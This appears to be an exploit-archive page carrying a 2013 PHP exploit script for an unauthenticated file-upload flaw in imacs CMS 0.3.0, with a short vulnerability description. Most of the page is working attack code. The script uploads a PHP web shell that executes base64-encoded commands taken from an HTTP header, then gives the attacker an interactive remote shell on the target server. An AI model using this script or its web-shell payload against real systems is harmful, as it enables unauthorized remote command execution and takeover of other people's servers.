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imacs CMS 0.3.0 Shell Upload

imacs CMS 0.3.0 Shell Upload
Posted Jun 18, 2013
Authored by CWH Underground

imacs CMS version 0.3.0 remote shell upload exploit.

tags | exploit, remote, shell
MD5 | d876ad99d7e8551305e8e8199445adb3

imacs CMS 0.3.0 Shell Upload

Change Mirror Download
<?php

/*

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

Exploit Title : imacs CMS Unrestricted File Upload Exploit
Date : 18 June 2013
Exploit Author : CWH Underground
Site : www.2600.in.th
Vendor Homepage : http://jrcmsdev.sourceforge.net/
Software Link : http://jaist.dl.sourceforge.net/project/jrcmsdev/imacs_V0_3_0_608.cmp.zip
Version : 0.3.0
Tested on : Window and Linux


#####################################################
VULNERABILITY: Unrestricted File Upload
#####################################################

/src/assets/mng/mng.php

#####################################################
DESCRIPTION
#####################################################

Restricted access to this script isn't properly realized (Don't require authentication) ,
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file
extension isn't properly checked.


#####################################################
EXPLOIT
#####################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n==============================================\n";
print " imacs CMS Unrestricted File Upload Exploit \n";
print " \n";
print " Discovered By CWH Underground \n";
print "==============================================\n\n";
print " ,--^----------,--------,-----,-------^--, \n";
print " | ||||||||| `--------' | O \n";
print " `+---------------------------^----------| \n";
print " `\_,-------, _________________________| \n";
print " / XXXXXX /`| / \n";
print " / XXXXXX / `\ / \n";
print " / XXXXXX /\______( \n";
print " / XXXXXX / \n";
print " / XXXXXX / .. CWH Underground Hacking Team .. \n";
print " (________( \n";
print " `------' \n\n";


if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /imacs/\n";
die();
}

$host = $argv[1];
$path = $argv[2];


$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"upload\"; filename=\"sh.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

$response = http_send($host, $packet);

if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");

$packet = "POST {$path}src/assets/mng/mng.php?dir= HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet = "GET {$path}content/uploads/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nimacs-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

################################################################################################################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>

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